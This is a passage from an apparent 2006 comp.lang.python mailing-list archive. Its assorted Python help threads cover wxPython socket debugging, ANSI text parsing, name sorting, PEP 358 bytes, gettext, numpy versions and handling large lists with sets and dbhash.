mentioned earlier
(http://groups.google.com/group/comp.lang.python/msg/9c759fc888b365be),
and I am hoping that maybe seeing how the statements are executed will
shed some light on the entire thing for me.

The debugger isn't working, though, because I have a timer set up to
fire off every 20ms to check for incoming network traffic from the
server, and that timer firing off makes stepping through with the
debugger seemingly impossible to get any useful data.

Basically, is there something that will log every line of Python code
executed, in its order of execution, to a text file so that I can see
what is (or isn't) happening that I am expecting?  I know that the
server is sending and receiving properly, because I can connect to it
with a regular telnet client and it works -- but at the same time,
everything I can think of to check my program's functionality checks out
just fine (e.g., it reports that it is successfully sending what I am
typing to the server, and it says that the server is not sending
anything back to be read from the socket).

If it makes any difference, I am using wxWidgets' Python bindings for
the UI code (and the timer), and using Python's socket library for the
network stuff.

	-- Mike


From hanumizzle at gmail.com  Tue Oct 10 05:36:06 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 05:36:06 -0400
Subject: Newbie - Stuck
In-Reply-To: <200610092124.10986.email@christoph-haas.de>
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
	<200610092124.10986.email@christoph-haas.de>
Message-ID: <463ff4860610100236q4375c88fq26cf640d9080c2fe@mail.gmail.com>

On 10/9/06, Christoph Haas <email at christoph-haas.de> wrote:

> Yes, I know Perl makes "0" from anything that doesn't look like a number
> but Python's principle is to never hide errors while Perl makes certain
> assumptions. So Python prefers to complain.

And raises real exceptions moreover, instead of leaving you with a
string and holding the bag. I still like Perl after a fashion, but
c'mon, Konrad Zuse thought of real exceptions handling in
19--bleeding--46.

-- Theerasak


From anthra.norell at vtxmail.ch  Sun Oct 22 05:00:59 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sun, 22 Oct 2006 11:00:59 +0200
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>
Message-ID: <453B334B.6050807@vtxmail.ch>

Michael B. Trausch wrote:
> Alright... I am attempting to find a way to parse ANSI text from a
> telnet application.  However, I am experiencing a bit of trouble.
>
> What I want to do is have all ANSI sequences _removed_ from the output,
> save for those that manage color codes or text presentation (in short,
> the ones that are ESC[#m (with additional #s separated by ; characters).
>  The ones that are left, the ones that are the color codes, I want to
> act on, and remove from the text stream, and display the text.
>
> I am using wxPython's TextCtrl as output, so when I "get" an ANSI color
> control sequence, I want to basically turn it into a call to wxWidgets'
> TextCtrl.SetDefaultStyle method for the control, adding the appropriate
> color/brightness/italic/bold/etc. settings to the TextCtrl until the
> next ANSI code comes in to alter it.
>
> It would *seem* easy, but I cannot seem to wrap my mind around the idea.
>  :-/
>
> I have a source tarball up at http://fd0man.theunixplace.com/Tmud.tar
> which contains the code in question.  In short, the information is
> coming in over a TCP/IP socket that is traditionally connected to with a
> telnet client, so things can be broken mid-line (or even mid-control
> sequence).  If anyone has any ideas as to what I am doing, expecting, or
> assuming that is wrong, I would be delighted to hear it.  The code that
> is not behaving as I would expect it to is in src/AnsiTextCtrl.py, but I
> have included the entire project as it stands for completeness.
>
> Any help would be appreciated!  Thanks!
>
> 	-- Mike
>   
*I have no experience with reading from TCP/IP. But looking at your 
program with a candid mind I'd say that it is written to process a chunk 
of data in memory. If, as you say, the chunks you get from TCP/IP may 
start and end anywhere and, presumably you pass each chunk through 
AppendText, then you have a synchronization problem, as each call resets 
your escape flag, even if the new chunk starts in the middle of an 
escape sequence. Perhaps you should cut off incomplete escapes at the 
end and prepend them to the next chunk.

And:

if(len(buffer) > 0):                       
    wx.TextCtrl.AppendText(self, buffer)      <<< Are you sure text goes 
into the same place as the controls?
                                           
if(len(AnsiBuffer) > 0):                    
    wx.TextCtrl.AppendText(self, AnsiBuffer)  <<< You say you want to 
strip the control sequences


Frederic

*



From ldo at geek-central.gen.new_zealand  Sun Oct  8 18:07:14 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 11:07:14 +1300
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<1160266138.599325.270290@e3g2000cwe.googlegroups.com>
Message-ID: <egbsoq$tcu$1@lust.ihug.co.nz>

In message <1160266138.599325.270290 at e3g2000cwe.googlegroups.com>, John
Machin wrote:

> Two problems so far:
> (1) If you then assume that you should print the phone directory in
> order of family name, that's not appropriate in some places e.g.
> Iceland; neither is addressing Jon Jonsson as "Mr Jonsson", and BTW it
> can be their mother's name e.g. if she has more fame or recognition
> than their father.

Your bringing up the phone directory is a good point. That's probably the
most widely-consulted list of people's names around, so it's worthwhile
following whatever conventions are laid out in each country/region's phone
books. (There's also the electoral roll, I suppose, but I would assume that
follows the same sorts of conventions as the phone book.)

> (2) Arabic names: you may or may not have their father's name. You
> might not even have the [usually only one] given name. For example: the
> person who was known as Abu Musab al-Zarqawi: this means "father of
> Musab, the man from Zarqa [a city in Jordan]". You may have the family
> name as well as the father's and grandfather's given name. You can have
> the occupation, honorifics, nicknames. For a brief overview, read this:
> http://en.wikipedia.org/wiki/Arabic_names

The question for me is: which part of his name would he share in common with
his brothers and sisters? That's the part I would call the "family name".

One might raise the issue of using names to trace genealogies, origins etc,
but that's not my concern here. I'm just trying to come up with a way to
represent names of individuals, in such a way that they can easily be found
(as in, for example, the local phone book).

>> I wonder if we need another "middle" field for holding the "bin/binte"
>> part (could also hold, e.g. "Van" for those names that use this).
> 
> Not a good idea, IMHO. Consider "Nguyen Van Tran" vs 'Rembrandt van
> Rijn". Would you peel the Da off Da Costa but not the D' off
> D'Oliveiro? What do you do with the bod who fills in a form as Dermot
> O'Sullivan one month and Diarmaid ? S?illeabh?in the next?

The obvious question is, what does the local phone book do? How do the Dutch
phone books deal with all the "vans", and the Irish ones with all the "O"
or "O'"s? Do they put them under V and O respectively, or do they ignore
that part and look at the rest of the family name (which would make mor
sense to me)?



From wuwei23 at gmail.com  Thu Oct 19 19:42:25 2006
From: wuwei23 at gmail.com (alex23)
Date: 19 Oct 2006 16:42:25 -0700
Subject: Lead Software Engineer
In-Reply-To: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
Message-ID: <1161301345.261642.247810@b28g2000cwb.googlegroups.com>

Emma wrote:
> 5. Please provide us with a comparison of the following music discovery
>
> sites:
>
> http://www.blogmusik.net
> http://www.seeqpod.com/music
> http://www.finetune.com
> http://www.webjay.com
>
> For each of these we like to know:
> A) What you like and dislike about each of these.
> B) Which one you like the best.
> C) Which one you think others might like the best.
> D) How you would improve the one you like.

There _are_ no jobs on offer here. This is just a cheap attempt at
getting free survey data.

- alex23



From vatamane at gmail.com  Sun Oct 29 17:22:44 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 14:22:44 -0800
Subject: Observation on "Core Python Programming"
In-Reply-To: <mailman.1447.1162155545.11739.python-list@python.org>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<1162152161.321947.257870@m73g2000cwd.googlegroups.com>
	<mailman.1447.1162155545.11739.python-list@python.org>
Message-ID: <1162160564.203566.63750@m73g2000cwd.googlegroups.com>

...Skimmed through the previous edition.

I don't normally read programming books -- just use the chapters that I
need when I need them, unless of course there is a clever plot twist
coming up ahead (for ex.:  "Next: The revenge of lambdas. Will they
stay or will they go?"  ;-)

Why? Have you read it from beginning  to end. What did you think about
functions being introduced later than files and exceptions?

-Nick V.

Fredrik Lundh wrote:
> Nick Vatamaniuc wrote:
>
> > I would consider that an omission. Functions are very important in
> > Python. I think the user/reader should see the _def_ and _class_
> > statement fairly soon in the introduction.  The name of the book is
> > thus somewhat misleading, because functions are at the "core" of
> > Python.
> 
> have you read the book?
> 
> </F>



From aaronwmail-usenet at yahoo.com  Mon Oct  2 12:19:01 2006
From: aaronwmail-usenet at yahoo.com (aaronwmail-usenet at yahoo.com)
Date: 2 Oct 2006 09:19:01 -0700
Subject: Gadfly server startup error
In-Reply-To: <1159796526.279870.76340@m7g2000cwm.googlegroups.com>
References: <g3cjt3-ub6.ln1@prcm.tecont.de>
	<mailman.407.1158108135.5279.python-list@python.org>
	<h0blt3-5v9.ln1@prcm.tecont.de>
	<mailman.28.1158158120.10491.python-list@python.org>
	<fkllt3-5qa.ln1@prcm.tecont.de>
	<1159796526.279870.76340@m7g2000cwm.googlegroups.com>
Message-ID: <1159805941.216863.104170@i3g2000cwc.googlegroups.com>


aaronwmail-usenet at yahoo.com wrote:
> > Is anybody out there who has used the server+client operation
> > mode successfully?
>
> Well, several years ago, yes.

I looked into it and it was mainly a documentation and
test issue, I think.  The code seems to work.

Please go

  http://gadfly.sourceforge.net/gadfly_server_test.zip

and look at the readme.  I will try to fold this in to the
distribution sometime soon.

from the README in the zip:

==========
gadfly_server_test readme

This directory provides a proof of concept test run of the
gadfly server components. It requires gadfly to be installed
in the local python installation ( http://gadfly.sourceforge.net ).

Please see the doc string at the top of gfstest.py for details.

Example demo run sequence (in Windows installations the "python" prefix
is optional):

1. Set up the database.
     % python gftest.py dbtest

2. Start the server
     % python gfstest.py start

   This starts an infinite server loop in the current console.

3. SWITCH TO ANOTHER WINDOW and run test queries.
     % python gfstest.py queries

4. Shut down the server.
     % python gfstest.py shutdown
=============

   -- Aaron Watters

===
There once was a man who said "Well!
Will nobody answer this bell?
I have pulled day and night
'til my hair has grown white
but nobody answers this bell!"
  -- Edward Lear



From martin at v.loewis.de  Sun Oct 22 00:50:38 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 22 Oct 2006 06:50:38 +0200
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <mailman.915.1161491089.11739.python-list@python.org>
References: <mailman.915.1161491089.11739.python-list@python.org>
Message-ID: <453af89e$0$12734$9b622d9e@news.freenet.de>

Kenneth Long schrieb:
>> 	Okay if one builds such from sources... but us poor
>> Windows flunkies
>> without a build environment have to wait for some
>> kindly soul to build
>> the installer compatible with the new Python
>> version.
>>
> especially since I havent got MS visual studio...
> and mingw is not supported... :-(

Why do you say that? mingw might just work fine
(depending on particular details of the extension
module in question).

Regards,
Martin


From sjmachin at lexicon.net  Tue Oct  3 23:05:41 2006
From: sjmachin at lexicon.net (John Machin)
Date: 3 Oct 2006 20:05:41 -0700
Subject: PEP 358 and operations on bytes
In-Reply-To: <mailman.1197.1159906581.10491.python-list@python.org>
References: <mailman.1197.1159906581.10491.python-list@python.org>
Message-ID: <1159931141.342507.108260@e3g2000cwe.googlegroups.com>


Gerrit Holl wrote:
> Hi,
>
> In Python 3, reading from a file gives bytes rather than characters.
> Some operations currently performed on strings also make sense when
> performed on bytes, either if it's binary data or if it's text of
> unknown or mixed encoding. Those include of course slicing and other
> operators that exist in lists, but also other operations that aren't
> currently defined in PEP 358, like:
>
>     - str methods endswith, find, partition, replace, split(lines),
>       startswith,
>     - Regular expressions
>
> I think those can be useful on a bytes type. Perhaps bytes and str could
> share a common parent class? They certainly share a lot of properties
> and possible operations one might want to perform.
>

I look at it this way::
Processing text? Use unicode.
Binary structures and file I/O, interfacing to 8-bit-wide channels? Use
bytes.
Nostalgic for confused mixed-use? Don't upgrade.

IMHO, core dev time would be better used on:

* making /relevant/ modules (e.g. struct) work with bytes -- this topic
is not mentioned in the PEP.
* ensuring it covers everything that array.array('B', ...) does.
* being able to initialise a bytes array to (typically) all zeroes
without having to instantiate an  initialiser e.g. record =
bytes(size=996, fill=0) instead of record = bytes(996 * [0])

than on starts(ends)with etc, and regexes.

Cheers,
John



From http  Wed Oct  4 09:44:24 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 06:44:24 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org> <eg09i9$eod$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
Message-ID: <7xk63gry9z.fsf@ruckus.brouhaha.com>

Steve Holden <steve at holdenweb.com> writes:
> Sniping from the sidelines is far easier than hard work towards a goal.

Right now there is not even agreement on what the goal is.  The
surprise people are expressing is because they thought one of the
goals of a big open source project would be to avoid reliance on
closed tools.


From fuzzyman at gmail.com  Tue Oct 31 18:42:28 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 31 Oct 2006 15:42:28 -0800
Subject: What is the cleanest way to for a module to access objects from
	the script that imports it?
In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
Message-ID: <1162338148.904446.115040@m7g2000cwm.googlegroups.com>


noamsml at gmail.com wrote:
> Hi,
>
> I am new to python and am currently writing my first application. One
> of the problems I quickly ran into, however, is that python's imports
> are very different from php/C++ includes in the sense that they
> completely wrap the imported script in a module object. One of the
> problems with this was that a plugin system that I am making requires
> use of objects, classes and the such from the original script. Thus, on
> one hand, I am hesitant to use execfile(), since I *do* want to wrap
> the plugin up, but on the other hand, I want the plugin to be able to
> use functions from the original script. Any ideas?
>

This is a situation I've been in before when writing plugins - you need
some way of 'connecting' the plugin to the main application.

I usually provide a baseclass which the user should subclass to
implement the plugin.

The override something like an 'onActivate' method, which when called,
is passed in (by the application) all the information they need.

They can also optionally override 'onLoad' and 'onUnload' or whatever
other methods you want to provide.

Fuzzyman
http://www.voidspace.org.uk/python/index.shtml

> Sincerely,
> Noam Samuel.



From morris.slutsky at gmail.com  Sun Oct  1 05:50:37 2006
From: morris.slutsky at gmail.com (morris.slutsky at gmail.com)
Date: 1 Oct 2006 02:50:37 -0700
Subject: the actual C code - Re: Scoping bugs in an embedded Python
	interpreter - Wizards please
In-Reply-To: <1159546431.369350.177440@m73g2000cwd.googlegroups.com>
References: <1159542176.977456.258590@i42g2000cwa.googlegroups.com>
	<mailman.951.1159543677.10491.python-list@python.org>
	<1159546431.369350.177440@m73g2000cwd.googlegroups.com>
Message-ID: <1159696237.483735.189310@b28g2000cwb.googlegroups.com>

FOUND IT!

http://mail.python.org/pipermail/python-list/1999-June/005833.html

So I'm supposed to only have ONE dictionary, 'glb', and forget the
'loc' for locals.

Just call PyRun(...glb,glb)....

Seeing as this was a topic of discussion 7 years ago, maybe it ought to
be in the "extending and embedding" manual ... well thanks everyone who
read this.



From tjreedy at udel.edu  Thu Oct 12 06:57:57 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 12 Oct 2006 06:57:57 -0400
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><pan.2006.10.09.18.24.45.251048@gmx.net><452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de><mailman.343.1160617110.11739.python-list@python.org><1160618190.314729.236250@c28g2000cwb.googlegroups.com><mailman.344.1160618838.11739.python-list@python.org><1160622492.360486.207270@m73g2000cwd.googlegroups.com><mailman.350.1160625768.11739.python-list@python.org>
	<1160628402.244331.197840@b28g2000cwb.googlegroups.com>
Message-ID: <egl73k$6kf$1@sea.gmane.org>


"Ilias Lazaridis" <ilias at lazaridis.com> wrote in message 
news:1160628402.244331.197840 at b28g2000cwb.googlegroups.com...
> I share the infrastructure which I use:
>
> http://dev.lazaridis.com/base

But not quite yet, it appears. "A public release is planned shortly" 





From fuzzyman at gmail.com  Sun Oct 22 20:13:31 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 22 Oct 2006 17:13:31 -0700
Subject: [ANN] Movable IDLE 0.1.0
Message-ID: <1161562411.412739.44750@e3g2000cwe.googlegroups.com>

There is now an experimental version of **Movable IDLE** available,
this is an off-shoot of the `Movable Python
<http://www.voidspace.org.uk/python/movpy/>`_ project.

**Movable IDLE**, version 0.1.0 can be downloaded (free) from :

    `Movable IDLE Download
<http://www.tradebit.com/usr/voidspace/files.php/7007>`_

(Same place as the trial version of Movable Python.)

**Movable IDLE** is a portable distribution of IDLE, the Python IDE,
for Windows.

The homepage of Movable IDLE is :

   http://voidspace.org.uk/python/movpy/movableidle.html

This can be run without installing, and at only fifteen megabytes
uncompressed it can be run from a USB stick or memory card.

It comes with the full Python standard library, and should be capable
of running almost any program that can be run with IDLE. Hopefully this
will be useful for educational and experimental purposes.


Limitations
========

**Movable IDLE** does not have all the clever trickery that **Movable
Python** does. This means that the `win32
<http://sourceforge.net/projects/pywin32>`_ extensions, or any program
that uses ``imp.find_module`` are unlikely to work. It also won't work
with programs that have another event loop, like other GUI toolkits.

If you need these features, try `Movable Python`_.

On the other hand, if you do find bugs or restrictions, post them to
the `Movable Python Mailing List
<http://groups.google.com/group/movpy>`_ and it may be possible to fix
them. This is the right place to post feedback and suggestions as well.


License
======

**Movable IDLE** is copyright *Michael Foord*, 2006. It is free, but
not Open Source.

You are free to copy and distribute **Movable IDLE**, but not to charge
for it. It may not be included in any distribution which charges
directly or indirectly, without express permission.

The following sections of the `Movable Python License
<http://www.voidspace.org.uk/python/movpy/license.html>`_ also apply :

* *Disclaimer*
* *Limitations*
* *Restricted Uses*



From Luwian at gmail.com  Sun Oct 22 09:33:50 2006
From: Luwian at gmail.com (Lucas)
Date: 22 Oct 2006 06:33:50 -0700
Subject: How to print a file in binary mode
In-Reply-To: <pan.2006.10.22.13.06.08.86072@gmx.net>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>
	<pan.2006.10.22.13.06.08.86072@gmx.net>
Message-ID: <1161524030.833422.216370@k70g2000cwa.googlegroups.com>

thanks for your answer.

I known how to do it.
read() return a string. so
1) bytes = read(1) #read the file by bit.
2) chrString  = ord(bytes) #convert the string to ASCII.
3) print numberToBinary(chrString) #convert the ASCII to Binary using
my function.
4) Loop

I do it because I want to encrypt a string into a picture using RSA
algorithm.
so I first convert the string to binary,and then saving the binary into
picture

finally, print the picture by binary!

It is my coursework and studying PYTHON passingly : )

Marc 'BlackJack' Rintsch wrote:
> In <1161519385.614985.311240 at m73g2000cwd.googlegroups.com>, Lucas wrote:
>
> > I need print a file in binary mode .
> >
> > f = f.open('python.jpg','rb')
> > bytes = f.read()
> > f.close()
> >
> > print(bytes)
> >
> > I can't get any binary code.
>
> What do you mean by "binary code"?  If you use ``print repr(bytes)``
> everything outside ASCII will be printed as escape sequence.
>
> But why do you want to "print" JPEG images anyway?
> 
> Ciao,
> 	Marc 'BlackJack' Rintsch



From martin at v.loewis.de  Sat Oct 28 15:27:07 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 28 Oct 2006 21:27:07 +0200
Subject: gettext on Windows
In-Reply-To: <1162038016.231735.41180@i3g2000cwc.googlegroups.com>
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
	<mailman.1392.1162022981.11739.python-list@python.org>
	<1162023784.123822.266270@m73g2000cwd.googlegroups.com>
	<454322BC.8020002@v.loewis.de>
	<1162028026.501490.93250@m7g2000cwm.googlegroups.com>
	<1162029032.840155.147160@b28g2000cwb.googlegroups.com>
	<1162038016.231735.41180@i3g2000cwc.googlegroups.com>
Message-ID: <4543af0b$0$20441$9b622d9e@news.freenet.de>

russ.phillips.nospam at googlemail.com schrieb:
> Leo Kislov wrote:
> 
>> Try msgunfmt
>> http://www.gnu.org/software/gettext/manual/html_node/gettext_128.html#SEC128
>> to see if it can convert your files back to text.
> 
> Just tried it, and it was able to convert each of the .mo files back to
> text without any problems.

Then you should make a bug report (or, better yet, a patch). Apparently,
the Python gettext implementation is not able to process the MO files
you are passing.

Regards,
Martin


From broek at cc.umanitoba.ca  Tue Oct 10 18:46:06 2006
From: broek at cc.umanitoba.ca (Brian van den Broek)
Date: Tue, 10 Oct 2006 17:46:06 -0500
Subject: OT: Sarcasm and irony
In-Reply-To: <3bb44c6e0610100625p4dae88afg5231be1d4d50e683@mail.gmail.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>	<egfkeh$a45$1@sea.gmane.org>	<mailman.189.1160470256.11739.python-list@python.org>	<452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>	<mailman.202.1160476890.11739.python-list@python.org>	<452b9017$0$14045$edfadb0f@dread15.news.tele.dk>
	<3bb44c6e0610100625p4dae88afg5231be1d4d50e683@mail.gmail.com>
Message-ID: <452C22AE.3030709@cc.umanitoba.ca>

bryan rasmussen said unto the world upon 10/10/06 08:25 AM:

<snip>

> As was noted in my original statement the weak form of irony such as
> understood by Danes and I suppose by Americans as well, since that is
> what Steve was originally complaining about, is descended from the
> concept of Dramatic Irony. If you do a dictionary lookup of irony
> dramatic irony will probably be mentioned, also such more antiquated
> usages as Socratic irony.
> 
> These other concepts of irony have not changed. You can use the word
> irony in a technical manner to someone in the dramatic arts and have
> the usage understood.
> 
>  The weak form of irony, verbal irony, is a pretty recent addition to
> the concept of irony.
> 
> To take a wikipedia discussion of the subject:
> http://en.wikipedia.org/wiki/Irony

<snip>

and earlier:

> Well irony originally started out as a very specific concept of the
>  Ancient Greek drama, this is what we nowadays refer to as Dramatic
>  Irony but it is the original irony. Irony then became a literary
>  concept for plot elements similar to Dramatic irony in books, or a
>  weaker type of the Dramatic irony found in the plays of Shakespeare.
>  People then noticed that life was at times ironic in the literary
>  manner. Nowadays the use of the word irony has degenerated to by
>  pretty much synonymous with sarcasm.


I enjoy a good round of weeping for the future over the declining 
standards as much as the next pedant, but I think I must beg to differ 
here.

A quick check with the on-line text of the second edition of the 
Oxford English Dictionary (sadly, a link only available by 
subscription) gives as the first meaning:

     A figure of speech in which the intended meaning
     is the opposite of that expressed by the words
     used; usually taking the form of sarcasm or
     ridicule in which laudatory expressions are used
     to imply condemnation or contempt.

The first provided use squarely in this sense is from Sir Thomas More 
in 1533. So, the language has been declining for a goodly while now, 
it would seem ;-)

Best to all,

Brian vdB


From toreriks at hotmail.com  Thu Oct 12 09:08:21 2006
From: toreriks at hotmail.com (Tor Erik Soenvisen)
Date: Thu, 12 Oct 2006 13:08:21 +0000 (UTC)
Subject: Assigning different Exception message
Message-ID: <Xns985A9A0445978toreriknpolarno@129.242.5.222>

        try:
            self.cursor.execute(sql)
        except AttributeError, e:
            if e.message == "oracleDB instance has no attribute 'cursor'":
                e.message = 'oracleDB.open() must be called before' + \
                            ' oracleDB.query()'
            raise AttributeError, e

This code does not re-assign e's message when the conditional is satisfied. 
Why not?

regards


From fredrik at pythonware.com  Mon Oct  9 06:46:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 12:46:20 +0200
Subject: why this is wrong?
References: <200610091840577967380@gmail.com>
Message-ID: <egd99s$5uv$1@sea.gmane.org>

"bruce.who.hk" wrote:

> I just donnot know why this is wrong, you can test it in python shell:
>
> class B:
>    def __str__(self):
>        return u'\u5929\u4e0b'
>
> b=B()
> str(b)
> Traceback (most recent call last):
>  File "<input>", line 1, in ?
> UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in 
> range(128)

the str() function is supposed to return an 8-bit string, so when you return a
Unicode string instead, it attempts to convert it using the default encoding.

try using the unicode() function instead.

</F> 





From archanamg at fastmail.fm  Wed Oct  4 23:49:07 2006
From: archanamg at fastmail.fm (Archana Kumar)
Date: Thu, 05 Oct 2006 09:19:07 +0530
Subject: Boa Constructor error: "No section:editor"
Message-ID: <1160020147.26172.272589574@webmail.messagingengine.com>

Hi,

I try to open a Boa Constructor's instance when an error message : "No
section:editor" (in a pop up window) is being thrown. I can see on the
console that the last message shown is "running main"

I also tried reinstalling Boa (0.4.4 Release)as well as Python (ver
2.4.3), but the problem still persists.

Could some one suggest me as to the cause of this problem and how do I
rectify this problem.

Thanks,
Archana
-- 
  Archana Kumar
  archanamg at fastmail.fm

-- 
http://www.fastmail.fm - Or how I learned to stop worrying and
                          love email again



From Roberto.Bonvallet at cern.ch  Wed Oct 18 07:37:02 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Wed, 18 Oct 2006 11:37:02 +0000 (UTC)
Subject: Plotting histograms
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
Message-ID: <eh53ku$f4q$1@cernne03.cern.ch>

amitsoni.1984 at gmail.com wrote:
> hi, I have some values(say from -a to a) stored in a vector and I want
> to plot a histogram for those values. How can I get it done in python.
> I have installed and imported the Matplotlib package but on executing
> the code
> [N,x]=hist(eig, 10) # make a histogram
> I am getting an error saying   "NameError: name 'hist' is not
> defined".
> 
> Is there any other way to plot histograms over a given range?

>>> # create random vector
... from random import randrange
>>> a = 5
>>> v = [randrange(-a, a+1) for i in xrange(100)]
>>>
>>> # print histogram
... for i in range(-a, a+1):
...     print "%+d %s" % (i, '*' * v.count(i))
...
-5 *********
-4 *****
-3 *****
-2 **********
-1 **********
+0 *****
+1 ************
+2 *******
+3 *****
+4 ********************
+5 ************


:)
-- 
Roberto Bonvallet


From nogradi at gmail.com  Mon Oct  2 21:00:49 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Tue, 3 Oct 2006 03:00:49 +0200
Subject: app with standalone gui and web interface
Message-ID: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com>

What would the simplest way to make an application that has both a web
interface and runs from behind a web server but also can be used as a
standalone app with a gui? More precisely is it possible to avoid
creating an html/xml/whatever based web interface for the web version
and separately creating a gui (wxpython for example) for the
standalone version and instead create a graphical frontend at once
that can be used for both?


From oliphant.travis at ieee.org  Mon Oct 23 20:01:26 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Mon, 23 Oct 2006 18:01:26 -0600
Subject: numpy error
In-Reply-To: <4q4eggFl1prqU1@individual.net>
References: <4q4eggFl1prqU1@individual.net>
Message-ID: <ehjl1u$1n2$2@sea.gmane.org>

Juergen Kareta wrote:
> Hello,
> 
> this is my first try to get wxmpl-1.2.8 running. Therefor I installed:
> 
> python 2.5
> matplotlib-0.87.6.win32-py2.5.exe
> numpy-1.0rc3.win32-py2.5.exe
> 
> on WinXP SP2
> 
> The result is a version mismatch (see below).
> 
> Numpy version 1000002 seems to be numpy-1.0b5 which is not downloadable 
> anymore. Any hints ?
>

You need to re-compile matplotlib (or wait until they release a new 
binary that is compiled against numpy 1.0)

Or install the numpy-1.0rc2 binary which is now again available on 
sourceforge.

-Travis



From shalofin at gmail.com  Fri Oct 13 11:08:51 2006
From: shalofin at gmail.com (paw)
Date: 13 Oct 2006 08:08:51 -0700
Subject: Problems with Python 2.5 installer.
In-Reply-To: <1159542164.799707.236360@e3g2000cwe.googlegroups.com>
References: <1159524086.088796.75980@b28g2000cwb.googlegroups.com>
	<mailman.927.1159530594.10491.python-list@python.org>
	<1159542164.799707.236360@e3g2000cwe.googlegroups.com>
Message-ID: <1160752130.989225.211930@k70g2000cwa.googlegroups.com>

> > Could this happen if c:\python does not exists and creating it fails for
> > some reason, or if permissions are incorrect?
>
> Are you installing it as a "normal" user or as an Administrator? I have
> occasionally had problems (not when installing Python) as a "normal"
> user not being allowed to create a folder at the C:\ level.
>
> I'd suggest this;
> (1) log on as as administrator (i.e. with full rights)
> (2) do an "all users" installation
> (3) You haven't come up with a good reason for doing otherwise, so read
> my lips: *** use the default installation folder C:\Python25 *** you'll
> be happy you did, when Python 2.6 comes out and you want to have both
> installed.

It turns out the domain admin took away my local admin rights
mistakenly.  Once I got those back everything worked fine.

The only 'logic' for my not installing to a directory with the version
is that I don't keep more than one version of Python on my system at
any given time.  When the new version comes out and is stable I remove
the old one, this forces me to check any programs against the latest
version.

Thanks for all of the help,

Wayne



From durumdara at gmail.com  Wed Oct  4 04:06:46 2006
From: durumdara at gmail.com (durumdara)
Date: Wed, 04 Oct 2006 10:06:46 +0200
Subject: Best way to handle large lists?
In-Reply-To: <452298C7.8040204@hotmail.com>
References: <prrUg.1662$We.477@trndny08>	<jwjw-E75E09.09362703102006@news.isp.giganews.com>	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>	<7xodst3337.fsf@ruckus.brouhaha.com>
	<45227982.4060808@hotmail.com>	<efttv2$9p6$1@gemini.csx.cam.ac.uk>	<efu425$353$1@gemini.csx.cam.ac.uk>
	<452298C7.8040204@hotmail.com>
Message-ID: <45236B96.9080307@gmail.com>

Hi !
> Thanks Jeremy. I am in the process of converting my stuff to use sets! I
> wouldn't have thought it would have made that big a deal! I guess it is
> live and learn.
>   
If you have simplified records with big amount of data, you can trying 
dbhash. With this you don't get out from memory...

dd


import dbhash
import time
import random
import gc
import sys

itemcount = 250000

db = dbhash.open('test.dbh','w')
for i in range(itemcount):
    db[str(i)] = str(i)

littlelist = []
littleset = set()

while len(littlelist) < 1000:
    x = str(random.randint(0, itemcount-1))
    if not (x in littlelist):
        littlelist.append(x)
        littleset.add(x)

def DBHash():
    gc.collect()
    hk = db.has_key
    st = time.time()
    newlist = []
    for val in littlelist:
        if hk(val):
            newlist.append(val)
    et = time.time()
    print "Size", len(newlist)
    newlist.sort()
    print "Hash", hash(str(newlist))
    print "Time", "%04f"%(et-st)
    print

def Set():
    gc.collect()
    largeset = set()
    for i in range(itemcount):
